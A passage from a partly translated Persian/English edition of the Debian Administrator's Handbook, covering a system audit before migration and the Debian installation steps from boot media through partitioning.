The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.)

در همین راستا، بررسی محتوای دایرکتوری /usr/local/ نیز جالب بنظر می‌رسد، که هدفش نگهداری از برنامه‌هایی است که به صورت دستی کامپایل و نصب شده‌اند. فهرست نرم‌افزارهای نصب‌شده در این روش آموزنده است، چراکه نشان می‌دهد چرا از بسته‌های موجود در سیستم دبیان استفاده نشده است، اگر چنین بسته‌ای وجود داشته باشد.

QUICK LOOK cruft/cruft-ng, debsums and apt-show-versions

The cruft and cruft-ng packages propose to list the available files that are not owned by any package. They have some filters (more or less effective, and more or less up to date) to avoid reporting some legitimate files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.).

Be careful to not blindly delete everything that cruft and cruft-ng might list!

The debsums package allows to check the MD5 hashsum of each file installed by a package against a reference hashsum and can help to determine, which files might have been altered (see TIP Finding changed files). Be aware that created files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.) are not subject to this check.

The apt-show-versions package provides a tool to check for installed packages without a package source and can help to determine third party packages (see قسمت 6.7.3.1, “Packages removed from the Debian Archive” ).

3.2.4. نصب دبیان

زمانی که تمام اطلاعات مورد نیاز درباره سرور کنونی بدست آمد، می‌توانیم آن را خاموش کرده و فرآیند نصب دبیان را أغاز نماییم.

برای انتخاب نسخه مناسب، باید از معماری رایانه خبر داشته باشیم. اگر یک رایانه رومیزی استاندارد است، به احتمال زیاد از amd64 (یا i386 برای سیستم‌های قدیمی‌تر) استفاده می‌کند. در سایر موارد، احتمالات موجود را می‌توان با استفاده از سیستم قبلی بدست آورد.

جدول 3.1 is not intended to be exhaustive, but may be helpful. Note that it lists Debian architectures which are no longer supported in the current stable release. In any case, the original documentation for the computer is the most reliable source to find this information.

جدول 3.1. سازگاری سیستم عامل با معماری

سیستم عامل | معماری(ها)
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

سحت‌افزار رایانه ۶۴ بیت در مقابل ۳۲ بیت

اکثر رایانه‌های جدید دارای پردازنده‌های ۶۴ بیتی Intel یا AMD هستند که با پردازنده‌های قدیمی‌تر ۳۲ بیت سازگاری دارند؛ بنابراین نرم‌افزاری که برای “i386” کامپایل می‌شود روی آن‌ها قابل اجرا است. از طرف دیگر، این حالت سازگاری، به تمام قابلیت‌های موجود در این پردازنده‌های جدید دسترسی ندارد. این همان دلیلی است که دبیان معماری “amd64” را فراهم کرده است، که برای پردازنده‌های اخیر AMD و پردازنده‌های “em64t” از Intel کار می‌کند (که شامل اکثر خانواده Core می‌شود)، که شباهت بسیاری به AMD64 دارند.

3.2.5. نصب و پیکربندی سرویس‌های انتخاب شده

Once Debian is installed, we need to individually install and configure each of the services that this computer must host. The new configuration must take into consideration the prior one in order to ensure a smooth transition. All the information collected in the first two steps will be useful to successfully complete this part.

شكل 3.3. نصب سرویس‌های انتخاب شده

قبل از ورود به این تمرین، به شدت توصیه می‌شود که باقی کتاب را بخوانید. پس از مطالعه آن است که می‌توانید به درک درستی از چگونگی پیکربندی سرویس‌های مورد نیاز دست یابید.

فصل 4. نصب

برای استفاده از دبیان،‌باید آن را روی یک رایانه نصب کنید؛ این وظیفه توسط برنامه debian-installer بر عهده گرفته می‌شود. یک نصب صحیح شامل عملیات مختلفی است. این فصل به مرور هر کدام از آن‌‌ها به ترتبیب زمانی می‌پردازد.

بازگشت به مقدمات درس مقدماتی در ضمیمه

نصب یک سامانه رایانه‌ای زمانی که با آن آشنایی بیشتری داشته باشید، راحت‌تر خواهد بود. اگر این آشنایی وجود ندارد،‌ یک نگاه اجمالی به پيوست B, درس کاربردی کوتاه قبل از مطالعه این فصل بیندازید.

The installer for Buster is based on debian-installer. Its modular design enables it to work in various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied by the need to support a large number of architectures, this installer is very accessible to beginners, since it assists users at each stage of the process. Automatic hardware detection, guided partitioning, and graphical user interfaces have solved most of the problems that newbies used to face in the early years of Debian.

نصب دبیان به 128 مگابایت حافظه اصلی (RAM) و حداقل 2 گیگابایت حافظه جانبی (Hard Disk) نیاز دارد. تمام رایانه‌های شرکت فالکات این شرایط را دارند. به یاد داشته باشید، این اعداد برای نصب سیستم پایه بدون میزکار گرافیکی در نظر گرفته شده‌اند. برای نصب یک میزکار گرافیکی، حداقل به یک گیگابایت حافظه اصلی و 10 گیگابایت حافظه جانبی فضا نیاز است.

هشدار بروزرسانی نسخه پیشین (از استرچ)

اگر دبیان استرچ روی رایانه شما نصب است،‌ این فصل به کار شما نمی‌آید! برخلاف سایر توزیع‌ها، دبیان به شما این اجازه را می‌دهد که بدون نصب مجدد سیستم، آن را بروزرسانی کنید. نصب مجدد، در کنار اینکه غیرضروری است، می‌تواند خطرناک نیز باشد چراکه به حذف بسیاری از برنامه‌های موجود می‌انجامد.

فرآیند بروزرسانی از نسخه پیشین در قسمت 6.7, “بروزرسانی کلی از یک توزیع پایدار به دیگری” توضیح داده می‌شود.

4.1. روش‌های نصب

یک سیستم دبیان می‌تواند با استفاده از ابزارهای گوناگونی نصب شود، مادامی که بایوس دستگاه این اجازه را بدهد. شما می‌تواند فرآیند نصب را از طریق CD-ROM و USB یا از شبکه انجام دهید.

بازگشت به مقدمات بایوس، رابط بین نرم‌افزار و سخت‌افزار

بایوس (که مخفف سیستم ورودی/خروجی پایه است) نرم‌افزاری است که داخل برداصلی قرار دارد (بردی که تمام اجزای جانبی را به هم متصل می‌کند) و زمانی که رایانه روشن شود، اجرا می‌گردد تا یک سیستم عامل را فراخوانی کند (از طریق یک بوت‌لودر). این نرم‌افزار در پیش‌زمینه فعالیت می‌کند تا به عنوان لایه‌ای بین سخت‌افزار و نرم‌افزار (در این مورد، لینوکس) عمل کند.

4.1.1. نصب با استفاده از CD-ROM/DVD-ROM

پرکاربردترین حالت نصب استفاده از CD-ROM است (یا DVD-ROM که به همان شکل عمل می‌کند): رایانه از طریق این رسانه راه‌اندازی می‌گردد و برنامه نصب‌کننده کنترل را به دست می‌گیرد.

Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 16 DVD-ROMs (or 4 Blu-ray disks). There is no more official CD-ROMs set as they were really huge, rarely used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are divided among the disks according to their popularity and importance; the first disk will be sufficient for most installations, since it contains the most used software.

یک نوع دیگر از image نیز وجود دارد که با نام mini.iso شناخته می‌شود که محصولی جانبی از برنامه نصب‌کننده به حساب می‌آید. این فایل تنها شامل حداقل تنظیمات مورد نیاز جهت پیکربندی شبکه است تا تمام فرآیند نصب از طریق آن صورت گیرد (که شامل دانلود بخشی از خود نصب‌کننده نیز می‌شود، به همین دلیل است که این فایل‌ها با انتشار نسخه جدیدی از نصب‌کننده‌ها خراب می‌شوند). این فایل‌ها می‌توانند در دایرکتوری dists/release/main/installer-arch/current/images/netboot/ از سرورهای اصلی دبیان پیدا شوند.

نکته دیسک‌های با معماری‌های متفاوت

اکثر CD-ROM و DVD-ROMهای موجود برای نصب تنها با یک معماری سخت‌افزاری کار می‌کنند. اگر تمایل دارید که image کامل را دانلود کنید، باید دقت داشته باشید که کدام یک روی سخت‌افزار رایانه شما کار می‌کند.

برخی از این فایل‌ها می‌توانند روی چند معماری متفاوت کار کنند. به همین دلیل است که یکی از آن‌ها شامل netinst است و از معماری‌های i386 و amd64 پشتیبانی می‌کند.

برای بدست آوردن فایل‌های موجود در CD-ROM نصب‌کننده دبیان، ابتدا باید آن را دانلود کرده و روی دیسک قرار دهید. همچنین می‌توانید با خرید آن‌ها، از پروژه حمایت مالی انجام دهید. برای مشاهده فهرستی از فایل‌های موجود در DVD-ROM به وبسایت رسمی مراجعه کنید.

→ http://www.debian.org/CD/index.html

4.1.2. راه‌اندازی از USB

از آنجایی که اغلب رایانه‌ها امکان راه‌اندازی از طریق USB را دارند، شما نیز می‌توانید برای نصب دبیان از آن استفاده کنید (که چیزی بیشتر از یک دیسک با حافظه فلش نیست).

راهنمای نصب توضیح می‌دهد که چطور برنامه debian-installer را روی یک حافظه USB نصب کنید. فرآیند بسیار ساده‌ای است چراکه Imageهای موجود برای معماری‌های i386 و amd64 می‌توانند از طریق CD-ROM یا USB راه‌اندازی گردند.

ابتدا باید نام دستگاه USB را شناسایی کنید (برای نمونه /dev/sdb)؛ ساده‌ترین ابزار برای اینکار استفاده از پیام‌های تولید شده توسط کرنل با استفاده از دستور dmesg است. سپس باید فایل ISO دانلود شده در مرحله پیشین (برای نمونه debian-10.0.0-amd64-netinst.iso) را با استفاده از دستور cat debian-10.0.0-amd64-netinst.iso >/dev/sdb; sync کپی کنید. این دستور نیاز به مجوزهای مدیریتی دارد و از آنجایی که به صورت مستقیم روی حافظه USB می‌نویسد، محتویات موجود آن را پاک می‌کند.

جزئیات بیشتر در راهنمای نصب آورده شده است. در میان سایر موارد، به تشریح یک گزینه جایگزین برای آماده‌سازی حافظه USB که پیچیده‌تر است نیز می‌پردازد، اما امکان شخصی‌سازی گزینه‌های پیش‌فرض نصب را می‌دهد (پارامترهایی که در خط دستور کرنل تنظیم می‌شوند).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. نصب با راه‌اندازی شبکه

بسیاری از بایوس‌ها امکان راه‌اندازی از طریق شبکه با دانلود کرنل و فایل‌سیستم مورد نیاز را فراهم می‌سازند. این روش (که با نام‌های گوناگونی مانند PXE یا TFTP شناخته می‌شود) برای رایانه‌ای که CD-ROM ندارد بسیاری کاربردی است یا اگر بایوس نتواند از چنین رسانه‌ای استفاده کند.

این شیوه نصب در دو مرحله کار می‌کند. اول، هنگام راه‌اندازی رایانه، بایوس (یا کارت شبکه) یک درخواست BOOTP/DHCP برای دریافت IP صادر می‌کند. زمانی که سرور DHCP یا BOOTP پاسخی ارسال کند، شامل فایلی است که تنظیمات شبکه را در خود دارد. پس از پیکربندی شبکه، رایانه یک درخواست TFTP (که مخفف Trivial File Transfer Protocol است) صادر می‌کند برای فایلی که نامش از قبل مشخص شده است. هنگامی که این فایل دریافت شود، به مانند یک راه‌انداز عمل می‌کند. در این مرحله است که برنامه نصب دبیان اجرا می‌شود، درست مانند اینکه از هارددیسک، سی‌دی-رام یا حافظه فلش اجرا شده باشد.

تمام جزئیات این روش در راهنمای نصب موجود می‌باشد.

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. سایر شیوه‌های نصب

When we have to deploy customized installations for a large number of computers, we generally choose an automated rather than a manual installation method. Depending on the situation and the complexity of the installations to be made, we can use FAI (Fully Automatic Installer, described in قسمت 12.3.1, “نصب‌کننده تمام خودکار (FAI)” ), or even a customized installation DVD with preseeding (see قسمت 12.3.2, “گردآوری debian-installer” ).

4.2. نصب قدم به قدم

4.2.1. شروع و راه‌اندازی برنامه نصب

زمانی که بایوس شروع به راه‌اندازی از طریق CD یا DVD نمود، منو Isolinux نمایان می‌شود. در این مرحله، کرنل لینوکس هنوز بارگیری نشده است؛ این منو امکان ویرایش پارامترهای موجود در کنار هنگام فرآیند نصب را می‌دهد.

For a standard installation, you only need to choose “Install” or “Graphical install” (with the arrow keys), then press the Enter key to initiate the remainder of the installation process. If the DVD-ROM is a “Multi-arch” disk, and the machine has an Intel or AMD 64-bit processor, those menu options enable the installation of the 64-bit variant (amd64) and the installation of the 32-bit variant remains available in a dedicated sub-menu (“32-bit install options”). If you have a 32-bit processor, you don't get a choice and the menu entries install the 32-bit variant (i386).

مطالعه بیشتر ۳۲ یا ۶۴ بیت؟

The fundamental difference between 32- and 64-bit systems is the size of memory addresses. In theory, a 32-bit system can not work with more than 4 GB of RAM (2³² bytes). In practice, it is possible to work around this limitation by using the 686-pae kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64-bit mode on a server with a large amount of RAM.

For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64-bit versions. It is technically possible to make them work on 64-bit systems, but you have to install the 32-bit versions of all the necessary libraries (see قسمت 5.4.5, “پشتیبانی از چند-معماری” ), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.

در عمل نصب در کنار یک سیستم ویندوز

اگر رایانه به صورت پیش‌فرض ویندوز را نصب داشته باشد، برای نصب دبیان نیازی نیست که سیستم فعلی حذف شود. می‌توانید هر دو سیستم را داشته باشید، که هر یک روی پارتیشن جداگانه‌ای نصب شده‌اند و هنگام راه‌اندازی رایانه تصمیم بگیرید کدام یک را می‌خواهید. این پیکربندی اغلب به نام “dual boot” شناخته می‌شود و سیستم نصب دبیان می‌تواند آن را ارائه دهد. این فرآیند هنگام پارتیشن‌بندی هارددیسک و مرحله‌ای که راه‌انداز در آن نصب می‌گردد، تنظیم می‌شود (به قسمت‌های در عمل کوچک‌کردن پارتیشن ویندوز و آگاه باشید راه‌انداز و راه‌اندازی دوگانه مراجعه کنید).

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit title…

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

بازگشت به مقدمات Bootloader

The bootloader is a low-level program that is responsible for booting the Linux kernel just after the BIOS passes off its control. To handle this task, it must be able to locate the Linux kernel to boot on the disk. On the i386 and amd64 architectures, the two most used programs to perform this task are LILO, the older of the two, and GRUB, its modern replacement. Isolinux and Syslinux are alternatives frequently used to boot from removable media.

هر مدخل در منوی آن یک خط فرمان راه‌اندازی خاص را پنهان می‌کند، که می‌توان در صورت نیاز با فشردن کلید TAB قبل از انتخاب آن، اقدام به ویرایش گزینه‌های آن کرد. گزینه “Help” رابط قدیم خط فرمان را نشان می‌دهد در صورتی که کلید‌های F1 تا F10 راهنمایی‌های مرتبط با گزینه‌های متفاوت موجود در صفحه را به نمایش می‌گذارند. معمولاً فقط در حالت‌های ویژه از این امکانات استفاده می‌شود.

حالت “expert” (قابل دسترس از منوی “Advanced Options”) تمام گزینه‌های موجود هنگام نصب را نمایش می‌دهد و امکان پیمایش بین گام‌های مختلف نصب بدون رعایت ترتیب زمانی پیش‌فرض آن‌ها را میسر می‌سازد. مراقب باشید، این حالت پیشرفته با توجه به گزینه‌های بسیاری که دارد ممکن است بسیار گیج‌کننده باشد.

شكل 4.1. صفحه بوت

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from an amd64 DVD-ROM (more specifically, the rc1 version of the installer for Buster); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.

4.2.2. انتخاب زبان

برنامه نصب به صورت انگلیسی اجرا می‌شود، اما گام اول این امکان تعویض زبان را برای ادامه فرآیند نصب در اختیار کاربر می‌گذارد. برای نمونه، انتخاب فرانوسی، فرآیند نصب را به صورت تمام در زبان فرانوسی نمایش خواهد داد (و سیستمی که تنظیمات فرانوسی داشته باشد). این انتخاب گزینه‌های مرتبط با هر زبان را پس از نصب نیز در اختیار شما می‌گذارد (برای نمونه ساختار صفحه کلید).

بازگشت به مقدمات پیمایش با استفاده از صفحه‌کلید

برخی گام‌ها در فرآیند نصب از شما اطلاعاتی جهت وارد کردن می‌خواهند. این صفحه‌ها شامل قسمت‌هایی هستند که “focus” می‌گیرند (ناحیه متنی، چندگزینه‌ای، فهرستی از انتخاب‌ها، تایید و لغو) و کلید TAB به شما امکان پیمایش بین آن‌ها را می‌دهد.

در حالت گرافیکی، با استفاده از ماوس می‌توانید همین کارها را انجام دهید درست مانند میزکارهای گرافیکی.

شكل 4.2. انتخاب زبان

4.2.3. انتخاب کشور

گام دوم شامل انتخاب کشور خود است. ترکیب آن با زبان، این اطلاعات به برنامه نصب امکان می‌دهند تا مناسب‌ترین ساختار صفحه‌کلید را به شما پیشنهاد دهد. همچنین بر روی پیکربندی منطقه زمانی نیز تاثیر می‌گذارد. در ایالات متحده، یک صفحه کلید استاندارد QWERTY پیشنهاد می‌شود و یک منطقه زمانی مناسب نیز پیشنهاد می‌گردد.

شكل 4.3. انتخاب کشور

4.2.4. انتخاب ساختار صفحه‌کلید

صفحه‌کلید “American English” پیشنهادی متناسب با ساختار QWERTY است.

شكل 4.4. انتخاب صفحه‌کلید

4.2.5. شناسایی سخت‌افزار

این گام در اکثر موارد به صورت خودکار صورت می‌گیرد. برنامه نصب‌کننده سخت‌افزار شما را شناسایی کرده و تلاش می‌کند با شناسایی CD-ROM به محتویات موجود در آن دسترسی پیدا کند. برای هر یک از سخت‌افزارهای شناسایی شده، ماژول مرتبط با آن را بارگیری می‌کند و CD-ROM را برای استفاده، “mount” می‌کند. گام‌های پیشین به طور کامل در image موجود در CD وجود دارد، فایلی که اندازه‌ی محدودی دارد و پس از اتمام کار بایوس در حافظه قرار می‌گیرد.

The installer can work with the vast majority of drives, especially standard ATAPI peripherals (sometimes called IDE and EIDE). However, if detection of the CD-ROM reader fails, the installer offers the choice to load a kernel module (for instance, from a USB key) corresponding to the CD-ROM driver.

4.2.6. بارگیری کامپوننت‌ها

با وجود محتوای قابل دسترس در CD، برنامه تمام فایل‌های مورد نیاز خود جهت ادامه را بارگیری می‌کند. این فایل‌ها شامل درایورهای اضافی برای سایر سخت‌افزارهای باقیمانده (به خصوص کارت شبکه) و همچنین تمام اجزای برنامه نصب می‌شوند.

4.2.7. شناسایی سخت‌افزار شبکه

این گام به صورت خودکار تلاش برای شناسایی کارت شبکه کرده و ماژول‌های مرتبط با آن را بارگیری می‌کند. اگر این فرآیند خودکار متوقف شود، شما به صورت دستی می‌توانید این ماژول‌ها را انتخاب کنید. اگر هیچ ماژولی کار نکند، امکان بارگیری یک ماژول خاص توسط حافظه USB وجود دارد. این روش آخر تنها زمانی کاربرد دارد که درایور مورد نظر در کرنل لینوکس وجود نداشته باشد، اما جای دیگری موجود باشد، مانند وبسایت تولیدکننده آن.

این گام به منظور یک نصب netinst باید با موفقیت به پایان برسد، چراکه بسته‌های دبیان باید از طریق شبکه دانلود شوند.

4.2.8. پیکربندی شبکه

به منظور خودکاری‌سازی هر چه بیشتر فرآیند، برنامه نصب‌کننده اقدام به پیکربندی خودکار شبکه با استفاده از DHCP (برای IPv4) و توسط قابلیت آشکارسازی شبکه IPv6 می‌نماید. اگر این کار انجام نگیرد، گزینه‌های دیگری پیشنهاد می‌شود: تلاش مجدد برای پیکربندی استاندارد DHCP، تلاش برای پیکربندی DHCP با مشخص کردن نام ماشین یا راه‌اندازی یک پیکربندی شبکه ایستا.

گزینه آخر نیازمند IP Address و Subnet Mask و IP برای Gateway به همراه نام ماشین و دامنه مورد استفاده می‌باشد.

نکته پیکربندی بدون DHCP

اگر شبکه محلی شامل سرور DHCP است که شما نمی‌خواهید از آن استفاده کنید و ترجیح می‌دهید به صورت استاتیک تنظیمات حین نصب را انجام دهید، می‌توانید گزینه netcfg/use_dhcp=false را هنگام راه‌اندازی از طریق CD-ROM اضافه کنید. کافی است به منوی مورد نظر با استفاده از کلید TAB رفته و گزینه دلخواه خود را قبل فشردن کلید Enter وارد کنید.

آگاه باشید بداهه‌نوازی نکنید

بسیاری شبکه‌های محلی بر این اصل استوار هستند که تمام ماشین‌های داخل آن قابل اعتماد می‌باشند، به همین دلیل تنظیمات نادرست یک ماشین می‌تواند روی تمام شبکه تاثیر منفی بگذارد. در نتیجه، بدون توافق با مدیر یک شبکه، ماشین خود را روی آن تنظیم نکنید (برای نمونه، آدرس‌های IP، Netmask و Broadcats).

4.2.9. گذرواژه مدیر

The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error which would later be difficult to amend. Note that you can leave both fields empty if you want the root account to be disabled. In that case, the first regular user — that will be created by the installer in the next step — will have administrative rights through sudo (see قسمت 8.9.4, “اشتراک‌گذاری دسترسی سطح بالا” ).

امنیت گذرواژه مدیر

The root user's password should be long (12 characters or more) and impossible to guess. Indeed, any computer (and a fortiori any server) connected to the Internet is regularly targeted by automated connection attempts with the most obvious passwords. Sometimes it may even be subject to dictionary attacks, in which many combinations of words and numbers are tested as password. Avoid using the names of children or parents, dates of birth, etc.: many of your co-workers might know them, and you rarely want to give them free access to the computer in question.

این موارد شامل سایر حساب‌های کاربری نیز می‌شود، اما نتایج لو رفتن این حساب‌های کاربری که دسترسی مدیریتی ندارند بسیار خفیف‌تر از حساب‌های اصلی سیستم است.

اگر ایده‌ای برای گذرواژه ندارید، از استفاده ابزاری مانند pwgen (که در بسته‌ای با همین نام وجود دارد) دریغ نکنید.

شكل 4.5. گذرواژه مدیر

4.2.10. ایجاد اولین کاربر

دبیان همچنین ایجاد یک حساب کاربری استاندارد را لازم می‌داند تا مدیر سیستم به عادت بد استفاده از حساب کاربری root روی نیاورد. اصل اولیه در این مورد آن است که هر فعالیتی باید با حداقل میزان دسترسی لازم صورت پذیرد، به منظور کاهش صدمات وارده توسط خطای انسانی. به همین دلیل است که برنامه نام کامل اولین کاربر، حساب کاربری و گذرواژه (در دو نوبت، به منظور کاهش خطای احتمالی) آن را از شما می‌پرسد.

شكل 4.6. نام اولین کاربر

4.2.11. پیکربندی ساعت

اگر شبکه موجود باشد، ساعت داخلی سیستم (در روشی یک طرفه) از یک سرور NTP بروزرسانی می‌گردد. این روش timestamp ایجاد شده در فایل‌های لاگ را از ابتدای نصب صحیح وارد می‌کند. برای آن‌هایی که به تنظیم دقیق زمان در طی روز نیاز دارند، یک NTP Daemon باید پس از نصب پیکربندی گردد ( قسمت 8.9.2, “همگام‌سازی زمان” را مشاهده کنید).

4.2.12. شناسایی دیسک‌ها و سایر دستگاه‌ها

این گام به شناسایی خودکار هارددیسک‌هایی می‌پردازد که دبیان می‌تواند روی آن‌ها نصب گردد. آن‌ها در گام بعدی مورد بحث قرار می‌گیرند: پارتیشن‌بندی.

4.2.13. ابزار پارتیشن‌بندی

فرهنگ کاربردهای پارتیشن‌بندی

پارتیشن‌بندی، یک گام ضروری در فرآیند نصب، شامل تقسیم فضای موجود در هارد درایوها می‌باشد (که به هر قسمت آن یک “پارتیشن” می‌گویند) با توجه به داده‌ای که قرار است روی آن ذخیره گردد و کاربرد رایانه به صورت کلی. این گام همچنین شامل انتخاب فایل‌سیستم مورد نیاز نیز می‌شود. تمام این تصمیمات روی عملکرد کلی سیستم، امنیت داده‌ و مدیریت سرور تاثیر بسزایی دارد.

این قسمت سابق بر این برای کاربران تازه‌کار دشوار بود. مشخص‌کردن قسمت‌های مختلف دیسک‌ها ضروری است (یا “پارتیشن‌ها”) که روی آن‌ها فایل‌سیستم لینوکس و حافظه مجازی (swap) ذخیره می‌گردند. این فعالیت با وجود یک سیستم عامل دیگر که قصد نگهداری‌اش را داشته باشید، پیچیده‌تر نیز می‌گردد. در واقع، باید اطمینان حاصل کنید که پارتیشن مربوط به آن را تغییر نمی‌دهید (یا اینکه تغییر اندازه آن آسیبی به سیستم قبلی وارد نمی‌کند).

خوشبختانه، نرم‌افزار پارتیشن‌بندی یک حالت “guided” نیز دارد که پارتیشن‌های مورد نیاز را به کاربر پیشنهاد می‌کند - در اکثر مواقع، به راحتی می‌توانید از این پیشنهادات استفاده کنید.

شكل 4.7. انتخاب حالت پارتیشن‌بندی

The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 21.5 GB ATA QEMU HARDDISK”). You then start guided partitioning.

شكل 4.8. دیسک مورد نیاز برای پارتیشن‌بندی خودکار

پارتیشن‌بندی خودکار همچنین می‌تواند از LVM بجای پارتیشن‌ها (پایین صفحه را مشاهده کنید) استفاده کند. از آنجایی که باقیمانده عملیات یکسان است، ما به بررسی گزینه “Guided - use entire disk and set up LVM” نمی‌پردازیم (چه در حالت عادی چه در حالت رمزنگاری شده).

در سایر موارد، زمانی که لینوکس باید در کنار سایر پارتیشن‌ها کار کند، شما باید پارتیشن‌بندی دستی را انتخاب کنید.

4.2.13.1. پارتیشن‌بندی خودکار

ابزار پارتیشن‌بندی خودکار شامل سه روش پارتیشن‌بندی است، که هر یک منطبق با کاربرد خاصی هستند.

شكل 4.9. پارتیشن‌بندی خودکار

اولین شیوه “تمام فایل‌ها در یک پارتیشن” نام دارد. تمام ساختار درختی لینوکس در یک فایل‌سیستم مجزا ذخیره می‌شود، بر اساس دایرکتوری ریشه /. این پارتیشن‌بندی ساده و قدرتمند برای سیستم‌های شخصی و تک-کاربره مناسب است. در خقیقت، دو پارتیشن ساخته می‌شوند: اولی تمام سیستم را در خود جای می‌دهد و دومی حافظه مجازی (swap) را.

The second method, “Separate /home partition”, is similar, but splits the file hierarchy in two: one partition contains the Linux system (/), and the second contains “home directories” (meaning user data, in files and subdirectories available under /home/).

آخرین شیوه پارتیشن‌بندی، “جداسازی پارتیشن‌های /var، /home و /tmp” نام دارد، که مناسب سیستم‌های چند-کاربره و سرورها است. ساختار درختی در این شیوه به پارتیشن‌های مختلفی تقسیم می‌شود: در کنار پارتیشن‌های ریشه (/) و حساب‌های کاربری (/home)، همچنین شامل پارتیشن‌هایی برای داده‌های نرم‌افزار سرور (/var) و فایل‌های موقت (/tmp) نیز می‌باشد. این تقسیم‌بندی، مزایای بسیاری دارد. کاربران با مصرف تمام فضای دیسک نمی‌توانند سرور را در وضعیت ناپایداری قرار دهند (آن‌ها تنها می‌توانند فضای موجود در /tmp و /home را پرکنند). داده‌هایی که به صورت خودکار لاگ می‌شوند، نمی‌توانند باعث اختلال در سایر سیستم گردند.

بازگشت به مقدمات انتخاب یک فایل‌سیستم

A filesystem defines the way in which data is organized on the hard drive. Each existing filesystem has its merits and limitations. Some are more robust, others more effective: if you know your needs well, choosing the most appropriate filesystem is possible. Various comparisons have already been made; it seems that ReiserFS is particularly efficient for reading many small files; XFS, in turn, works faster with large files. Ext4, the default filesystem for Debian, is a good compromise, based on the three previous versions of filesystems historically used in Linux (ext, ext2 and ext3). Ext4 overcomes certain limitations of ext3 and is particularly appropriate for very large capacity hard drives. Another option would be to experiment with the very promising btrfs, which includes numerous features that require, to this day, the use of LVM and/or RAID.

یک فایل‌سیستم به همراه جورنال (مانند ext3، ext4، btrfs، reiserfs یا xfs) اقدامات خاصی انجام می‌دهد تا در صورت بروز خرابی در داده، بدون بازبینی کل دیسک (حالتی که در ext2 وجود داشت)، آن را به حالت پایداری ببرد که قبل از بروز خرابی وجود داشته است. این قابلیت با استفاده از یک جورنال که عملیات را قبل از انجام شدنشان در حافظه ذخیره می‌کند، پیاده‌سازی می‌گردد. اگر عملیاتی متوقف شود، امکان “اجرای مجدد” آن از جورنال وجود دارد. برعکس این قضیه، اگر وقفه‌ای هنگام بروزرسانی جورنال صورت گیرد، تنها آخرین تغییری که درخواست شده است نادیده گرفته می‌شود؛ داده‌ای که روی حافظه نوشته شده است ممکن است حذف گردد، اما از آنجایی که داده روی دیسک تغییری نکرده است، تمامیت داده حفظ می‌شود. این عملیات چیزی بیشتر از یک تراکنش کنترل‌شده در سطح فایل‌سیستم نمی‌باشد.

پس از انتخاب نوع پارتیشن، برنامه محاسباتی انجام داده و نتایج آن را روی صحفه نمایش می‌دهد؛ کاربر در صورت نیاز می‌تواند آن را ویرایش کند. شما می‌توانید در صورت مناسب نبودن گزینه استاندارد (ext4) آن را تغییر دهید. در اکثر موارد، این گزینه مناسب است و می‌توانید با انتخاب گزینه “Finish partitioning and write changes to disk” عملیات پارتیشن‌بندی را به اتمام برسانید.

شكل 4.10. تایید پارتیشن‌بندی

4.2.13.2. پارتیشن‌بندی دستی

پارتیشن‌بندی دستی انعطاف‌پذیری بیشتری در اختیار می‌گذارد، که به کاربر امکان می‌دهد هدف و اندازه هر پارتیشن را انتخاب کند. غلاوه بر این، اگر قصد استفاده از RAID نرم‌افزاری را دارید این حالت اجتناب‌ناپذیر است.

در عمل کوچک‌کردن پارتیشن ویندوز

برای نصب دبیان در کنار یک سیستم عامل موجود (ویندوز یا گزینه دیگر)، باید مقداری فضای آزاد و خالی که توسط سیستم دیگر استفاده نمی‌شود، برای ایجاد پارتیشن‌های مورد نیاز دبیان داشته باشید. در اکثر موارد، این عمل با کوچک‌سازی یک پارتیشن ویندوز و استفاده از فضای آزاد شده آن می‌باشد.

The Debian installer allows this operation when using the manual mode for partitioning. You only need to choose the Windows partition and enter its new size (this works the same with both unencrypted FAT and NTFS partitions).

If Windows is using BitLocker-encrypted partitions, the steps to resize them requires to use the BitLocker Management together with the Windows Disk Management tool.

